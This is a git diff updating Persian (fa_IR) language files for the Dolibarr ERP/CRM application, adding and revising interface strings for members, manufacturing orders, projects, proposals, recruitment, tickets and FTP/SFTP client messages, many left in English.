password NoteSomeFeaturesAreDisabled=توجه داشته باشید بسیاری از قابلیت‌ها/واحدها در این نسخۀ نمایشی غیر فهال است +YourUserFile=Your user file Name=نام NameSlashCompany=نام / شرکت Person=شخص @@ -481,6 +490,7 @@ ActionsOnContact=روی‌دادهای مربوط به این طرف‌تماس/ ActionsOnContract=روی‌دادهای مربوط به این قرارداد ActionsOnMember=روی‌دادهای مربوط به این عضو ActionsOnProduct=روی‌دادهای مربوط به این محصول +ActionsOnAsset=Events for this fixed asset NActionsLate=%s دیرتر ToDo=برای انجام Completed=کامل‌شده @@ -888,6 +898,9 @@ MassFilesArea=محل فایل‌های تولید شده توسط کنش‌ها ShowTempMassFilesArea=نمایش محل فایل‌های تولید شده با کنش‌های گروهی ConfirmMassDeletion=تائید حذف گروهی ConfirmMassDeletionQuestion=آیا مطمئنید می‌خواهید (%s) ردیف انتخاب شده را حذف کنید؟ +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=اشیاء مربوطه ClassifyBilled=طبقه‌بندی صورت‌شده‌ها ClassifyUnbilled=طبقه‌بندی صورت‌نشده‌ها @@ -903,8 +916,8 @@ ExportFilteredList=فهرست گزینشی صادرا ExportList=فهرست صادرات ExportOptions=گزینه‌های صادرکردن IncludeDocsAlreadyExported=دربرگرفتن مستنداتی که قبلا صادر شده‌اند -ExportOfPiecesAlreadyExportedIsEnable=دربرگیری بخش‌هائی که قبلا صادر شده‌اند فعال است -ExportOfPiecesAlreadyExportedIsDisable=دربرگیری بخش‌هائی که قبلا صادر شده‌اند غیر فعال است +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=همۀ جابه‌جائی‌های صادر شده به عنوان صادرشده ثبت شد NotAllExportedMovementsCouldBeRecordedAsExported=همۀ جابه‌جائی‌های صادرشده نمی‌توانند به‌عنوان صادرشده ثبت شوند Miscellaneous=متفرقه @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=دریافت DownloadDocument=دریافت سن +DownloadSignedDocument=Download signed document ActualizeCurrency=به‌روز‌رسانی نرخ واحدپولی Fiscalyear=سال مالی ModuleBuilder=واحدساز و برنامه‌ساز @@ -1046,6 +1060,7 @@ SearchIntoContracts=قراردادها SearchIntoCustomerShipments=حمل‌ونقل مشتریان SearchIntoExpenseReports=گزارش‌هزینه‌ها SearchIntoLeaves=ترک +SearchIntoKM=Knowledge base SearchIntoTickets=برگه‌های پشتیبانی SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=پرداخت‌های فروشندگان @@ -1117,6 +1132,7 @@ DeleteFileText=Do you really want delete this file? ShowOtherLanguages=Show other languages SwitchInEditModeToAddTranslation=Switch in edit mode to add translations for this language NotUsedForThisCustomer=Not used for this customer +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Amount must be positive ByStatus=By status InformationMessage=اطلاعات @@ -1137,15 +1153,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=نرخ +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=کاربر داخلی +ExternalUser=کاربر خارجی +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/fa_IR/members.lang b/htdocs/langs/fa_IR/members.lang index 52bc144e179..5347347f0df 100644 --- a/htdocs/langs/fa_IR/members.lang +++ b/htdocs/langs/fa_IR/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=یکی دیگر از عضو (نام ErrorUserPermissionAllowsToLinksToItselfOnly=به دلایل امنیتی، شما باید مجوز اعطا شده به ویرایش تمام کاربران قادر به پیوند عضو به یک کاربر است که مال شما نیست. SetLinkToUser=پیوند به یک کاربر Dolibarr SetLinkToThirdParty=لینک به شخص ثالث Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=فهرست کاربران MembersListToValid=لیست اعضای پیش نویس (به اعتبار شود) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=عضو جدید @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=سهم های جدید NewSubscriptionDesc=این فرم به شما قابلیت ضبط اشتراک خود را به عنوان یک عضو جدید از پایه و اساس. اگر می خواهید به تمدید اشتراک خود را (اگر در حال حاضر عضو)، لطفا به جای تماس با هیئت مدیره بنیاد از طریق ایمیل٪ است. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=مدت‌زمان +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=دیر SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=محتوا از کارت عضو شما # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=گردش مالی (برای یک شرکت) و یا بودجه (برای پایه) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=پرش در یکپارچه صفحه پرداخت آنلاین +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/fa_IR/mrp.lang b/htdocs/langs/fa_IR/mrp.lang index 3da28f8a37a..e54fefa61f8 100644 --- a/htdocs/langs/fa_IR/mrp.lang +++ b/htdocs/langs/fa_IR/mrp.lang @@ -11,8 +11,8 @@ Bom=Bills of Material BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=برپاسازی واحد صورت‌حساب مواد -ListOfBOMs=فهرست صورت‌حساب‌های مواد - BOM -ListOfManufacturingOrders=List of Manufacturing Orders +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=چگونگی عدددهی صورت‌حساب مواد @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? ManufacturingEfficiency=بازده تولید ConsumptionEfficiency=Consumption efficiency +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product DeleteBillOfMaterials=Delete Bill Of Materials @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Are you sure you want to validate this Manufacturing Order? ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. ProductionForRef=Production of %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached NoStockChangeOnServices=No stock change on services ProductQtyToConsumeByMO=Product quantity still to consume by open MO @@ -80,6 +83,7 @@ ProductsToProduce=Products to produce UnitCost=Unit cost TotalCost=Total cost BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/fa_IR/other.lang b/htdocs/langs/fa_IR/other.lang index 60ddd34624b..9e5d16d0563 100644 --- a/htdocs/langs/fa_IR/other.lang +++ b/htdocs/langs/fa_IR/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=پیشنهاد به مشتری اعتبار Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=پیشنهاد تجاری با پست Notify_WITHDRAW_TRANSMIT=خروج خطوط انتقال Notify_WITHDRAW_CREDIT=خروج اعتباری @@ -181,6 +183,7 @@ SizeUnitfoot=پا SizeUnitpoint=نقطه BugTracker=اشکالات SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=بازگشت به صفحه ورود AuthenticationDoesNotAllowSendNewPassword=نحوه تایید٪ s است.
      در این حالت، Dolibarr نمی توانند بفهمند و نه رمز عبور خود را تغییر دهید.
      تماس با مدیر سیستم شما اگر می خواهید رمز عبور خود را تغییر دهید. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = بستن Autofill = Autofill + +# externalsite +ExternalSiteSetup=تنظیم پیوند به وبگاه بیرونی +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=واحد ExternalSite  به درستی پیکربندی نشده است +ExampleMyMenuEntry=عنوان فهرست من + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=حذف فایل %s مقدور نبود +FTPFailedToRemoveDir=حذف پوشۀ %s مقدور نبود: مجوزها را بررسی کرده و مطمئن شوید پوشه خالی است. +FTPPassiveMode=حالت انفعالی +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=عدم امکان دریافت فایل‌های %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/fa_IR/projects.lang b/htdocs/langs/fa_IR/projects.lang index d42d986d8da..9b2d8a9bc73 100644 --- a/htdocs/langs/fa_IR/projects.lang +++ b/htdocs/langs/fa_IR/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=این نما نمایان‌گر همۀ طرح‌ها و وظا TasksDesc=این نما نمایانگر همۀ طرح‌ها و وظایف است ( مجوزهای کاربری شما امکان نمایش همه‌چیز را به شما می‌دهد). AllTaskVisibleButEditIfYouAreAssigned=همۀ وظایف مربوط برای طرح‌های واجد شرایط نمایش داده می‌شوند، اما شما می‌توانید تنها زمان را برای وظایف نسبت دده شده به کاربر انتخابی وارد کنید. وظیفه را در صورتی انتخاب کنید که نیاز داشته باشید زمان در آن زمان وارد کنید. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=وظایف مربوط به طرح‌ها ProjectCategories=برچسب‌ها/دسته‌بندی‌های طرح NewProject=طرح جدید @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=مبلغ سرنخ طرح‌های باز ب OpportunitiesStatusForProjects=مبلغ سرنخ طرح‌ها برحسب وضعیت ShowProject=نمایش طرح ShowTask=نمایش وظیفه +SetThirdParty=Set third party SetProject=تنظیم طرح +OutOfProject=Out of project NoProject=طرحی تعریف یا تصاحب نشده است NbOfProjects=Number of projects NbOfTasks=Number of tasks @@ -122,7 +125,8 @@ ValidateProject=تائیداعتبار طرح ConfirmValidateProject=آیا مطمئنید می‌خواهید اعتبار این طرح را تائید کنید؟ CloseAProject=بستن طرح ConfirmCloseAProject=آیا مطمئن هستید می‌خواهید این طرح را ببندید؟ -AlsoCloseAProject=همچنین طرح بسته شود ( در صورتی که هنوز نیاز دارید وظایف عملیاتی را پیگیری کنید، طرح را باز نگاه دارید) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=بازکردن طرح ConfirmReOpenAProject=آیا مطمئن هستید می‌خواهید این طرح را بازگشائی کنید؟ ProjectContact=طرف‌های تماس طرح @@ -165,7 +169,7 @@ OpportunityProbability=احتمال سرنخ OpportunityProbabilityShort=احتمال سرنخ OpportunityAmount=مبلغ سرنخ OpportunityAmountShort=مبلغ سرنخ -OpportunityWeightedAmount=Opportunity weighted amount +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. weighted amount OpportunityAmountAverageShort=مبلغ میانگین سرنخ OpportunityAmountWeigthedShort=مبلغ متوازن سرنخ @@ -238,7 +242,7 @@ OppStatusPENDING=در انتظار OppStatusWON=برد OppStatusLOST=باخت Budget=بودجه -AllowToLinkFromOtherCompany=امکان پیوند کردن طرح از یک شرکت دیگر

      مقادیر پیشتیبانی شده:
      - خالی رها کردن: امکان پیوند کردن به هر طرحی از شرکت (پیش‌فرض)
      - "همه": امکان پیوند به هر طرحی، حتی طرح‌های مربوط به سایر شرکت‌ها
      - فهرستی از شناسه‌های اشخاص‌سوم که با ویرگول(انگلیسی) از هم جدا شده‌اند: امکان پیوند کردن همۀ طرح‌های این طرف‌های سوم (مثال: 123,4795,53) +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=آخرین %s طرح LatestModifiedProjects=آخرین %s طرح تغییر یافته OtherFilteredTasks=سایر وظایف گُزیده شده @@ -259,7 +263,7 @@ TimeSpentInvoiced=زمان صرف شدۀ صورت‌حساب شده TimeSpentForIntervention=زمان صرف شده TimeSpentForInvoice=زمان صرف شده OneLinePerUser=هر سطر یک کاربر -ServiceToUseOnLines=خدمات برای استفاده بر سطور +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=صورت‌حساب %s بر اساس زمان صرف شده روی طرح تولید شد InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Check if you enter timesheet on tasks of project AND you plan to generate invoice(s) from the timesheet to bill the customer of the project (do not check if you plan to create invoice that is not based on entered timesheets). Note: To generate invoice, go on tab 'Time spent' of the project and select lines to include. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/fa_IR/propal.lang b/htdocs/langs/fa_IR/propal.lang index f945e12b653..f6ef5bef6e9 100644 --- a/htdocs/langs/fa_IR/propal.lang +++ b/htdocs/langs/fa_IR/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=بدون پیش نویس پیشنهادات CopyPropalFrom=ایجاد طرح های تجاری با کپی کردن طرح های موجود CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=پیش فرض طول مدت اعتبار پیشنهاد های تجاری (در روز) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=تاخیر در دسترس SetAvailability=تنظیم تاخیر در دسترس AfterOrder=پس از سفارش OtherProposals=طرح های دیگر + ##### Availability ##### AvailabilityTypeAV_NOW=فوری AvailabilityTypeAV_1W=1 هفته AvailabilityTypeAV_2W=2 هفته AvailabilityTypeAV_3W=3 هفته AvailabilityTypeAV_1M=1 ماه -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=نماینده زیر تا پیشنهاد TypeContact_propal_external_BILLING=تماس با فاکتور به مشتری TypeContact_propal_external_CUSTOMER=تماس با مشتری را در پی بالا پیشنهاد TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=قالب پیش فرض هنگام بستن یک طرح کسب و کار (unbilled) DefaultModelPropalCreate=ایجاد مدل پیش فرض DefaultModelPropalToBill=قالب پیش فرض هنگام بستن یک طرح کسب و کار (به صورتحساب می شود) -DefaultModelPropalClosed=قالب پیش فرض هنگام بستن یک طرح کسب و کار (unbilled) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=رد کردن +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Written acceptance, company stamp, date and signature ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/fa_IR/recruitment.lang b/htdocs/langs/fa_IR/recruitment.lang index 4b4afa90442..f3a96fe5152 100644 --- a/htdocs/langs/fa_IR/recruitment.lang +++ b/htdocs/langs/fa_IR/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=حقوق +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/fa_IR/ticket.lang b/htdocs/langs/fa_IR/ticket.lang index f112843022f..3224cdeccb6 100644 --- a/htdocs/langs/fa_IR/ticket.lang +++ b/htdocs/langs/fa_IR/ticket.lang @@ -26,7 +26,9 @@ Permission56002=ویرایش برگه‌ه Permission56003=حذف برگه‌ها Permission56004=مدیریت برگه‌ها Permission56005=نمایش همۀ برگه‌های مربوط به اشخاص سوم (برای کاربران خارجی مؤثر نیست و همواره به شخص‌سومی که به‌آن وصل است وابسته است) +Permission56006=Export tickets +Tickets=برگه‌های پشتیبانی TicketDictType=برگه‌ها - انواع TicketDictCategory=برگه‌ها - دسته‌بندی‌ها TicketDictSeverity=برگه‌ها - سطح اهمیت @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=مشارکت‌کنندۀ بیرونی OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=ارسال پیام برگه با رایانامه +ExportDataset_ticket_1=برگه‌های پشتیبانی + # Status Read=خوانده‌شده Assigned=نسبت‌داده شده @@ -90,8 +94,8 @@ TicketPublicAccess=یک رابط عمومی که بدون نیاز به تائی TicketSetupDictionaries=نوع برگه، حساسیت آن و کدهای تحلیلی از طریق واژه‌نامه‌ها قابل پیگربندی است TicketParamModule=برپاسازی متغیرهای واحد TicketParamMail=برپاسازی رایانامه -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=پیام متنی ارسال شده پس از ساخت یک برگه @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=نوشته‌ای که اینجا وارد می‌شود TicketParamPublicInterface=برپاسازی رابط عمومی TicketsEmailMustExist=نیاز به یک نشانی رایانامه برای ساخت برگۀ پشتیبانی TicketsEmailMustExistHelp=در رابط عمومی، نشانی رایانامه باید در بانک داده پر شود تا امکان ساخت برگۀ پشتیبانی وجود داشته باشد +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=رابط عمومی TicketUrlPublicInterfaceLabelAdmin=نشانی جایگزین برای رابط عمومی TicketUrlPublicInterfaceHelpAdmin=امکان تعریف یک نشانی جایگزین برای سرور وب و دسترسی به رابط عمومی با یک نشانی دیگر وجود دارد (سرور باید به عنوان یک پراکسی روی این نشانی جدید کار کند) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=اکنون برگه نسبت داده‌شد TicketChangeType=تغییر نوع TicketChangeCategory=تغییر کد تحلیلی-آنالیتیک TicketChangeSeverity=تغییر درجۀ اهمیت -TicketAddMessage=افزودن یک پیام -AddMessage=افزودن یک پیام +TicketAddMessage=Add private message MessageSuccessfullyAdded=برگه اضافه شد TicketMessageSuccessfullyAdded=پیام با موفقیت افزوده شد 